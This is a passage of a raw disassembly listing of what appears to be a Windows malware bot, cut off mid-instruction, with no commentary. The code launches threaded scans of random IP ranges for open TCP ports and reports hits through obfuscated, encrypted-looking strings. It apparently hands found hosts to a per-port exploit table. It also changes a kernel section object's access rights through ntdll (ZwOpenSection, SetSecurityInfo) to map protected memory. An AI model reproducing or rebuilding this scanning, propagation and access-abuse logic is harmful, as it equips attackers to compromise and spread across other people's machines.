"w50OJ.ac8AK0" push offset a_9fty1n2tM_ ; ".9ftY1N2T/m." push offset aSSSDSSSSSSSS_0 ; "%s %s %s %d >> %s %s %s %s %s >> %s %s "... push esi push eax call sub_429BBE add esp, 6Ch loc_401DF1: ; CODE XREF: sub_401B6E+1F8j lea eax, [ebp+var_1B4] push edi push eax call sub_4293A0 pop ecx push eax lea eax, [ebp+var_1B4] push eax push [ebp+arg_C4] call dword_456F8C ; send cmp eax, 0FFFFFFFFh jz short loc_401E6D push esi call dword_437190 ; Sleep cmp dword_456DA8, edi jnz short loc_401E30 lea eax, [ebp+var_2B4] push eax jmp short loc_401E31 ; --------------------------------------------------------------------------- loc_401E30: ; CODE XREF: sub_401B6E+2B7j push ebx loc_401E31: ; CODE XREF: sub_401B6E+2C0j push offset aS_6 ; "%s\r\n" lea eax, [ebp+var_1B4] push esi push eax call sub_429BBE add esp, 10h lea eax, [ebp+var_1B4] push edi push eax call sub_4293A0 pop ecx push eax lea eax, [ebp+var_1B4] push eax push [ebp+arg_C4] call dword_456F8C ; send cmp eax, 0FFFFFFFFh jnz short loc_401E71 loc_401E6D: ; CODE XREF: sub_401B6E+69j ; sub_401B6E+C4j ... xor eax, eax jmp short loc_401E99 ; --------------------------------------------------------------------------- loc_401E71: ; CODE XREF: sub_401B6E+2FDj push edi lea eax, [ebp+var_6B4] push 400h push eax push [ebp+arg_C4] call dword_456F58 ; recv push [ebp+arg_C4] call dword_456FF0 ; closesocket xor eax, eax inc eax loc_401E99: ; CODE XREF: sub_401B6E+301j pop edi pop esi pop ebx leave retn sub_401B6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E9E proc near ; CODE XREF: .text:00401982p ; sub_403B9B+1DBp ... var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_43AB70 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset off_43AB68 lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_454A54 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call dword_437184 ; MultiByteToWideChar lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_429C0F lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_429C0F add esp, 10h jmp short loc_401F3C ; --------------------------------------------------------------------------- loc_401F31: ; CODE XREF: sub_401E9E+AFj push 7D0h call dword_437190 ; Sleep loc_401F3C: ; CODE XREF: sub_401E9E+91j push esi lea eax, [ebp+var_354] push esi push eax call dword_456E34 test eax, eax jnz short loc_401F31 pop edi inc eax pop esi leave retn sub_401E9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F54 proc near ; CODE XREF: sub_40A9FE+6125p ; sub_40A9FE+9A36p var_20 = byte ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_0], 0 push ebx push esi push edi jz loc_402044 push 10h mov ebx, offset dword_454A20 push 0 push ebx call sub_429760 push 10h lea eax, [ebp+var_20] push [ebp+arg_0] push eax call sub_429D10 mov esi, offset dword_43AB8C lea eax, [ebp+var_20] push esi push eax call sub_429C5E add esp, 20h mov [ebp+var_10], eax test eax, eax jz loc_402044 xor edi, edi inc edi loc_401FA4: ; CODE XREF: sub_401F54+6Cj push esi push 0 call sub_429C5E xor edx, edx pop ecx cmp eax, edx pop ecx mov [ebp+edi*4+var_10], eax jz loc_402044 inc edi cmp edi, 4 jl short loc_401FA4 cmp [ebp+arg_8], 1 jnz short loc_401FEE cmp [ebp+arg_4], edx mov ecx, offset dword_43AB88 mov eax, offset dword_43A30C mov esi, ecx jnz short loc_401FEA mov esi, eax mov edx, eax loc_401FDD: ; CODE XREF: sub_401F54+98j cmp [ebp+arg_4], 0 jz short loc_401FE5 mov eax, ecx loc_401FE5: ; CODE XREF: sub_401F54+8Dj push esi push edx push eax jmp short loc_40202F ; --------------------------------------------------------------------------- loc_401FEA: ; CODE XREF: sub_401F54+83j mov edx, ecx jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401FEE: ; CODE XREF: sub_401F54+72j cmp [ebp+arg_8], 2 jnz short loc_402013 cmp [ebp+arg_4], edx mov ecx, offset dword_43AB88 mov eax, offset dword_43A30C mov edx, ecx jnz short loc_402007 mov edx, eax loc_402007: ; CODE XREF: sub_401F54+AFj cmp [ebp+arg_4], 0 jz short loc_40200F mov eax, ecx loc_40200F: ; CODE XREF: sub_401F54+B7j push edx push eax jmp short loc_40202C ; --------------------------------------------------------------------------- loc_402013: ; CODE XREF: sub_401F54+9Ej cmp [ebp+arg_8], 3 jnz short loc_402044 cmp [ebp+arg_4], edx mov eax, offset dword_43AB88 jnz short loc_402028 mov eax, offset dword_43A30C loc_402028: ; CODE XREF: sub_401F54+CDj push eax push [ebp+var_8] loc_40202C: ; CODE XREF: sub_401F54+BDj push [ebp+var_C] loc_40202F: ; CODE XREF: sub_401F54+94j push [ebp+var_10] push offset dword_43AB7C push ebx call sub_429B03 add esp, 18h mov eax, ebx jmp short loc_402046 ; --------------------------------------------------------------------------- loc_402044: ; CODE XREF: sub_401F54+Dj ; sub_401F54+47j ... xor eax, eax loc_402046: ; CODE XREF: sub_401F54+EEj pop edi pop esi pop ebx leave retn sub_401F54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40204B proc near ; CODE XREF: sub_40A9FE+5E3Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 8 call sub_423800 test eax, eax pop ecx jle short loc_402093 mov eax, [ebp+arg_C] mov eax, dword_4540D8[eax*8] push eax call dword_456FDC ; inet_ntoa cmp [ebp+arg_8], 0 push eax push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push offset dword_43AB9C push [ebp+arg_4] push [ebp+arg_0] jnz short loc_40208C call sub_41CE4A loc_402087: ; CODE XREF: sub_40204B+46j add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- loc_40208C: ; CODE XREF: sub_40204B+35j call sub_41CDD4 jmp short loc_402087 ; --------------------------------------------------------------------------- loc_402093: ; CODE XREF: sub_40204B+Dj cmp [ebp+arg_8], 0 push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push offset dword_43AB90 push [ebp+arg_4] push [ebp+arg_0] jnz short loc_4020B0 call sub_41CE4A jmp short loc_4020B5 ; --------------------------------------------------------------------------- loc_4020B0: ; CODE XREF: sub_40204B+5Cj call sub_41CDD4 loc_4020B5: ; CODE XREF: sub_40204B+63j add esp, 10h pop ebp retn sub_40204B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020BA proc near ; CODE XREF: sub_402459+58p var_C = dword ptr -0Ch var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_AC = dword ptr 0B4h arg_CC = dword ptr 0D4h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_AC] push edi cmp eax, 0FFFFFFFFh jz loc_4021E1 shl eax, 6 xor edi, edi cmp dword_43A384[eax], edi jz loc_4021E1 push 0Ch call sub_423800 test eax, eax pop ecx jnz loc_4021E1 cmp dword_457F68, edi jnz short loc_402118 call dword_437188 ; GetTickCount push eax call sub_429B8F mov [esp+0Ch+var_C], 0F618h push 9C4h call sub_41E415 pop ecx pop ecx jmp short loc_40211F ; --------------------------------------------------------------------------- loc_402118: ; CODE XREF: sub_4020BA+3Bj movzx eax, word_44399A loc_40211F: ; CODE XREF: sub_4020BA+5Cj push esi mov esi, offset dword_454774 push 104h push esi push edi mov dword_454984, eax mov dword_454980, edi call dword_43717C ; GetModuleFileNameA push 103h push offset dword_4439A8 push offset dword_454878 call sub_429D10 lea eax, [ebp+arg_10] push 7Fh push eax push offset dword_454988 mov dword_454A14, edi call sub_429D10 push esi mov eax, [ebp+arg_CC] push offset a8cbgoRjryr_ ; "8CBGO/rJRYr." mov dword_454A18, eax push dword_454984 push offset aKbwmi16jfhl ; "KbwMi16jFhl/" push offset a5oke1awbzq ; "5OkE/1AWBZq/" push offset aJt17j1imtvd1 ; "jt17J1ImTVD1" push offset aSSSISS_ ; "%s %s, %s: %i, %s: %s." push 0Ch call sub_4234A7 add esp, 38h mov dword_45497C, eax lea eax, [ebp+var_4] push eax push edi push offset dword_454770 push offset sub_402CE9 push edi push edi call dword_437180 ; CreateThread mov ecx, dword_45497C pop esi imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz short loc_4021E1 jmp short loc_4021D9 ; --------------------------------------------------------------------------- loc_4021D1: ; CODE XREF: sub_4020BA+125j push 32h call dword_437190 ; Sleep loc_4021D9: ; CODE XREF: sub_4020BA+115j cmp dword_454A14, edi jz short loc_4021D1 loc_4021E1: ; CODE XREF: sub_4020BA+Ej ; sub_4020BA+1Fj ... pop edi leave retn sub_4020BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4021E4 proc near ; CODE XREF: sub_402675:loc_4026DDp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4540D8h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_429420 add esp, 0Ch push [ebp+arg_0] call dword_456E28 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_456F34 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_429420 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4021E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40222C proc near ; CODE XREF: sub_402675+60p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push edi or edi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], edi mov [ebp+var_8], edi mov [ebp+var_4], edi mov [ebp+var_10], edi call sub_4293A0 cmp eax, 0Fh pop ecx jbe short loc_402257 xor eax, eax jmp loc_4022E4 ; --------------------------------------------------------------------------- loc_402257: ; CODE XREF: sub_40222C+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_429E0E add esp, 18h cmp [ebp+var_C], edi jnz short loc_40228C call sub_429B9C cdq mov ecx, 0E1h idiv ecx mov [ebp+var_C], edx loc_40228C: ; CODE XREF: sub_40222C+4Ej cmp [ebp+var_8], edi push esi mov esi, 0FFh jnz short loc_4022A4 call sub_429B9C cdq mov ecx, esi idiv ecx mov [ebp+var_8], edx loc_4022A4: ; CODE XREF: sub_40222C+69j cmp [ebp+var_4], edi jnz short loc_4022B6 call sub_429B9C cdq mov ecx, esi idiv ecx mov [ebp+var_4], edx loc_4022B6: ; CODE XREF: sub_40222C+7Bj mov edx, [ebp+var_10] cmp edx, edi jnz short loc_4022C5 call sub_429B9C cdq idiv esi loc_4022C5: ; CODE XREF: sub_40222C+8Fj shl edx, 8 add edx, [ebp+var_4] mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] pop esi shl edx, 8 add edx, [ebp+var_8] shl edx, 8 add eax, edx mov dword_4540D8[ecx*8], eax loc_4022E4: ; CODE XREF: sub_40222C+26j pop edi leave retn sub_40222C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4022E7 proc near ; CODE XREF: sub_402675+78p ; sub_404525+B86p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push offset dword_457C40 push [ebp+arg_0] call dword_456FDC ; inet_ntoa mov esi, dword_437178 push eax call esi ; dword_437178 test eax, eax jz loc_4023B5 push offset dword_457CF8 push [ebp+arg_0] call dword_456FDC ; inet_ntoa push eax call esi ; dword_437178 test eax, eax jz loc_4023B5 xor edi, edi xor ebx, ebx inc edi push ebx push edi push 2 mov [ebp+var_4], edi call dword_456FD0 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4023B5 mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_456F38 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_456FF4 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_456EBC ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_456F1C ; select push esi mov edi, eax call dword_456FF0 ; closesocket xor eax, eax cmp edi, ebx setnle al jmp short loc_4023B7 ; --------------------------------------------------------------------------- loc_4023B5: ; CODE XREF: sub_4022E7+25j ; sub_4022E7+3Ej ... xor eax, eax loc_4023B7: ; CODE XREF: sub_4022E7+CCj pop edi pop esi pop ebx leave retn sub_4022E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023BC proc near ; CODE XREF: sub_41F0F5+12Cp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi xor edi, edi xor ebx, ebx inc edi push ebx push edi push 2 mov [ebp+var_4], edi call dword_456FD0 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4023E5 xor eax, eax jmp short loc_402454 ; --------------------------------------------------------------------------- loc_4023E5: ; CODE XREF: sub_4023BC+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_456F38 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_456FF4 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_456EBC ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_456F1C ; select push esi mov edi, eax call dword_456FF0 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_402454: ; CODE XREF: sub_4023BC+27j pop edi pop esi pop ebx leave retn sub_4023BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402459 proc near ; DATA XREF: sub_40A9FE+62EDo ; sub_40A9FE+9BB7o var_CC = byte ptr -0CCh var_BC = byte ptr -0BCh var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 33h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_CC] inc ebx rep movsd mov ecx, [ebp+var_4] mov [eax+0C0h], ebx lea eax, [ebp+var_CC] mov [ebp+arg_0], ecx push eax call dword_456F7C ; inet_addr push [ebp+var_4] mov ecx, [ebp+var_30] lea esi, [ebp+var_CC] sub esp, 0CCh mov dword_4540D8[ecx*8], eax push 33h pop ecx mov edi, esp rep movsd call sub_4020BA push 8 call sub_423800 add esp, 0D4h cmp eax, ebx jnz short loc_402544 mov esi, offset dword_45474C push esi call dword_437168 ; RtlDeleteCriticalSection push 80000400h push esi call dword_43716C ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_402544 cmp [ebp+var_1C], eax mov edi, dword_437170 mov esi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov ebx, offset aSSD_0 ; "%s %s: <%d>" jnz short loc_402519 cmp [ebp+var_18], eax jnz short loc_40251F call edi ; dword_437170 push eax push offset aYdidb16dnmq_ ; "YdidB16dnMQ." push esi lea eax, [ebp+var_BC] push ebx push eax push [ebp+arg_0] call sub_41CE4A add esp, 18h loc_402519: ; CODE XREF: sub_402459+9Dj cmp [ebp+var_18], 0 jz short loc_40253B loc_40251F: ; CODE XREF: sub_402459+A2j call edi ; dword_437170 push eax push offset aYdidb16dnmq_ ; "YdidB16dnMQ." push esi lea eax, [ebp+var_BC] push ebx push eax push [ebp+arg_0] call sub_41CDD4 add esp, 18h loc_40253B: ; CODE XREF: sub_402459+C4j pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_402544: ; CODE XREF: sub_402459+6Cj ; sub_402459+88j mov eax, [ebp+var_30] cmp [ebp+var_24], ebx mov edi, ebx mov esi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY." mov dword_4540DC[eax*8], ebx mov ebx, dword_437190 jb short loc_4025D4 loc_402560: ; CODE XREF: sub_402459+179j push edi lea eax, [ebp+var_CC] push [ebp+var_30] mov [ebp+var_28], edi push [ebp+var_3C] push eax push esi push offset aSSDThreadDSubT ; "%s %s:%d, Thread: %d, Sub-thread: %d." push 8 call sub_4234A7 mov [ebp+var_2C], eax imul eax, 2724h mov ecx, [ebp+var_30] add esp, 1Ch mov dword_46D724[eax], ecx xor eax, eax push eax lea ecx, [ebp+var_CC] push eax push ecx push offset sub_402675 push eax push eax call dword_437180 ; CreateThread mov ecx, [ebp+var_2C] imul ecx, 2724h test eax, eax mov dword_46D72C[ecx], eax jz short loc_4025CA jmp short loc_4025C4 ; --------------------------------------------------------------------------- loc_4025C0: ; CODE XREF: sub_402459+16Fj push 1Eh call ebx ; dword_437190 loc_4025C4: ; CODE XREF: sub_402459+165j cmp [ebp+var_8], 0 jz short loc_4025C0 loc_4025CA: ; CODE XREF: sub_402459+163j push 1Eh call ebx ; dword_437190 inc edi cmp edi, [ebp+var_24] jbe short loc_402560 loc_4025D4: ; CODE XREF: sub_402459+105j xor edi, edi cmp [ebp+var_34], edi jz short loc_4025F0 mov eax, [ebp+var_34] imul eax, 0EA60h push eax call ebx ; dword_437190 jmp short loc_4025FD ; --------------------------------------------------------------------------- loc_4025E9: ; CODE XREF: sub_402459+1A2j push 7D0h call ebx ; dword_437190 loc_4025F0: ; CODE XREF: sub_402459+180j mov eax, [ebp+var_30] cmp dword_4540DC[eax*8], 1 jz short loc_4025E9 loc_4025FD: ; CODE XREF: sub_402459+18Ej mov eax, [ebp+var_30] cmp [ebp+var_1C], edi mov eax, dword_4540D8[eax*8] jnz short loc_40263C cmp [ebp+var_14], edi jz short loc_40263C push [ebp+var_34] push [ebp+var_3C] push eax call dword_456FDC ; inet_ntoa push eax push offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0" push esi lea eax, [ebp+var_BC] push offset aSSAtSDAfterDMi ; "%s %s at %s:%d after %d minute(s)." push eax push [ebp+arg_0] call sub_41CE4A add esp, 20h loc_40263C: ; CODE XREF: sub_402459+1B1j ; sub_402459+1B6j mov eax, [ebp+var_30] push 0BB8h mov dword_4540DC[eax*8], edi call ebx ; dword_437190 push 8 call sub_423800 cmp eax, 1 pop ecx jnz short loc_402665 push offset dword_45474C call dword_437168 ; RtlDeleteCriticalSection loc_402665: ; CODE XREF: sub_402459+1FFj push [ebp+var_30] call sub_423623 pop ecx push edi call dword_437174 ; ExitThread sub_402459 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402675 proc near ; DATA XREF: sub_402459+145o var_198 = byte ptr -198h var_188 = byte ptr -188h var_104 = byte ptr -104h var_F4 = dword ptr -0F4h var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D4 = byte ptr -0D4h var_C4 = byte ptr -0C4h var_44 = dword ptr -44h var_40 = dword ptr -40h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 198h mov eax, [ebp+arg_0] push ebx push esi push edi push 33h mov esi, eax pop ecx lea edi, [ebp+var_D4] rep movsd mov ecx, [ebp+var_C] mov esi, [ebp+var_34] mov [ebp+var_4], ecx mov dword ptr [eax+0C4h], 1 mov [ebp+var_8], esi call dword_437188 ; GetTickCount push eax call sub_429B8F mov eax, esi pop ecx imul eax, 2724h lea ebx, dword_46D724[eax] jmp loc_402803 ; --------------------------------------------------------------------------- loc_4026C7: ; CODE XREF: sub_402675+198j cmp [ebp+var_18], 0 push eax jz short loc_4026DD lea eax, [ebp+var_D4] push eax call sub_40222C pop ecx jmp short loc_4026E2 ; --------------------------------------------------------------------------- loc_4026DD: ; CODE XREF: sub_402675+57j call sub_4021E4 loc_4026E2: ; CODE XREF: sub_402675+66j pop ecx mov [ebp+arg_0], eax push [ebp+var_40] push [ebp+var_44] push eax call sub_4022E7 add esp, 0Ch cmp eax, 1 jnz loc_4027F8 cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_402755 mov edi, offset dword_45474C push edi call dword_4370CC ; RtlEnterCriticalSection cmp [ebp+var_24], 0 jnz short loc_402749 push [ebp+var_44] push [ebp+arg_0] call dword_456FDC ; inet_ntoa push eax push offset aIde746o6B_ ; "Ide74/6o6/B." push offset aKbwmi16jfhl ; "KbwMi16jFhl/" push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." lea eax, [ebp+var_C4] push offset aSSSSDOpen_ ; "%s %s%s: %s:%d open." push eax push [ebp+var_4] call sub_41CE4A add esp, 20h loc_402749: ; CODE XREF: sub_402675+9Fj push edi call dword_437164 ; RtlLeaveCriticalSection jmp loc_4027F8 ; --------------------------------------------------------------------------- loc_402755: ; CODE XREF: sub_402675+8Dj push [ebp+arg_0] call dword_456FDC ; inet_ntoa push eax lea eax, [ebp+var_198] push eax call sub_429B03 mov eax, [ebp+var_28] shl eax, 6 add eax, offset aD1 ; "d1" push eax lea eax, [ebp+var_104] push eax call sub_429B03 lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_188] push eax call sub_429B03 mov eax, [ebp+var_24] sub esp, 0ACh mov [ebp+var_E0], eax mov eax, [ebp+var_1C] mov [ebp+var_DC], eax mov eax, [ebp+var_20] mov [ebp+var_E4], eax mov eax, [ebp+var_44] push 31h mov [ebp+var_F4], eax mov eax, [ebp+var_28] pop ecx mov [ebp+var_F0], esi lea esi, [ebp+var_198] mov edi, esp push [ebp+var_4] mov [ebp+var_EC], eax rep movsd lea ecx, [ebp+var_C4] shl eax, 6 push ecx call off_43A37C[eax] mov esi, [ebp+var_8] add esp, 0CCh loc_4027F8: ; CODE XREF: sub_402675+83j ; sub_402675+DBj push 7D0h call dword_437190 ; Sleep loc_402803: ; CODE XREF: sub_402675+4Dj mov eax, [ebx] cmp dword_4540DC[eax*8], 0 jnz loc_4026C7 push esi call sub_423623 pop ecx push 0 call dword_437174 ; ExitThread sub_402675 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_402822 proc near ; CODE XREF: sub_402BD7+76p push offset aNtdll_dll ; "ntdll.dll" call dword_437034 ; LoadLibraryA test eax, eax mov dword_454A3C, eax jz short loc_40286E push esi mov esi, dword_437030 push offset aRtlinitunicode ; "RtlInitUnicodeString" push eax call esi ; dword_437030 push offset aZwopensection ; "ZwOpenSection" mov dword_454A34, eax push dword_454A3C call esi ; dword_437030 cmp dword_454A34, 0 mov dword_454A38, eax pop esi jz short loc_40286E test eax, eax jz short loc_40286E xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_40286E: ; CODE XREF: sub_402822+12j ; sub_402822+42j ... xor eax, eax retn sub_402822 endp ; =============== S U B R O U T I N E ======================================= sub_402871 proc near ; CODE XREF: sub_402BD7+EDp ; sub_402BD7:loc_402CDDp mov eax, dword_454A3C test eax, eax jz short loc_402881 push eax call dword_437038 ; FreeLibrary loc_402881: ; CODE XREF: sub_402871+7j and dword_454A3C, 0 retn sub_402871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402889 proc near ; CODE XREF: sub_40292F+85p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push esi lea eax, [ebp+var_8] push edi xor esi, esi push eax lea eax, [ebp+var_C] push esi push eax push esi push esi push 4 push 6 push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi call dword_43701C ; GetSecurityInfo test eax, eax jnz short loc_40292B push 20h lea eax, [ebp+var_2C] push esi push eax call sub_429760 add esp, 0Ch lea ecx, [ebp+var_4] xor eax, eax mov [ebp+var_2C], 2 push ecx lea ecx, [ebp+var_2C] push [ebp+var_C] inc eax mov [ebp+var_28], eax mov [ebp+var_24], esi push ecx push eax mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], offset aCurrent_user ; "CURRENT_USER" mov [ebp+var_4], esi call dword_437020 ; SetEntriesInAclA test eax, eax jnz short loc_402911 push esi push [ebp+var_4] push esi push esi push 4 push 6 push [ebp+arg_0] call dword_437024 ; SetSecurityInfo test eax, eax jz short loc_40292B loc_402911: ; CODE XREF: sub_402889+6Fj cmp [ebp+var_8], esi mov edi, dword_43703C jz short loc_402921 push [ebp+var_8] call edi ; dword_43703C loc_402921: ; CODE XREF: sub_402889+91j cmp [ebp+var_4], esi jz short loc_40292B push [ebp+var_4] call edi ; dword_43703C loc_40292B: ; CODE XREF: sub_402889+2Aj ; sub_402889+86j ... pop edi pop esi leave retn sub_402889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40292F proc near ; CODE XREF: sub_402BD7+83p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 20h cmp dword_454044, 5 push edi jnz short loc_402954 mov eax, dword_454048 xor edi, edi cmp eax, edi jz short loc_40295C cmp eax, 1 jz short loc_40295C cmp eax, 2 jz short loc_40295C loc_402954: ; CODE XREF: sub_40292F+Ej or eax, 0FFFFFFFFh jmp loc_402A0B ; --------------------------------------------------------------------------- loc_40295C: ; CODE XREF: sub_40292F+19j ; sub_40292F+1Ej ... push esi lea eax, [ebp+var_8] push offset off_43AC84 push eax call dword_454A34 ; RtlInitUnicodeString lea eax, [ebp+var_8] mov esi, offset dword_454A44 mov [ebp+var_18], eax lea eax, [ebp+var_20] push eax push 6 push esi mov [ebp+var_20], 18h mov [ebp+var_1C], edi mov [ebp+var_14], edi mov [ebp+var_10], edi mov [ebp+var_C], edi call dword_454A38 ; ZwOpenSection cmp eax, 0C0000022h jnz short loc_4029D3 lea eax, [ebp+var_20] push eax push 60000h push esi call dword_454A38 ; ZwOpenSection push dword_454A44 call sub_402889 pop ecx push dword_454A44 call dword_437044 ; CloseHandle lea eax, [ebp+var_20] push eax push 6 push esi call dword_454A38 ; ZwOpenSection loc_4029D3: ; CODE XREF: sub_40292F+6Dj cmp eax, edi pop esi jge short loc_4029DD push 0FFFFFFFEh pop eax jmp short loc_402A0B ; --------------------------------------------------------------------------- loc_4029DD: ; CODE XREF: sub_40292F+A7j push 1000h push 39000h push edi push 6 push dword_454A44 call dword_437040 ; MapViewOfFile xor ecx, ecx cmp eax, edi setnz cl mov dword_454A40, eax lea ecx, ds:0FFFFFFFDh[ecx*4] mov eax, ecx loc_402A0B: ; CODE XREF: sub_40292F+28j ; sub_40292F+ACj pop edi leave retn sub_40292F endp ; =============== S U B R O U T I N E ======================================= sub_402A0E proc near ; CODE XREF: sub_402BD7+E8p ; sub_402BD7:loc_402CD8p mov eax, dword_454A40 test eax, eax jz short loc_402A1E push eax call dword_437048 ; UnmapViewOfFile loc_402A1E: ; CODE XREF: sub_402A0E+7j mov eax, dword_454A44 test eax, eax jz short loc_402A2E push eax call dword_437044 ; CloseHandle loc_402A2E: ; CODE XREF: sub_402A0E+17j and dword_454A40, 0 and dword_454A44, 0 retn sub_402A0E endp ; =============== S U B R O U T I N E ======================================= sub_402A3D proc near ; CODE XREF: sub_402AB5+Bp ; sub_402B06+Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi test eax, eax push edi jz short loc_402AB0 mov edi, [esp+8+arg_4] mov ecx, edi shr ecx, 16h mov eax, 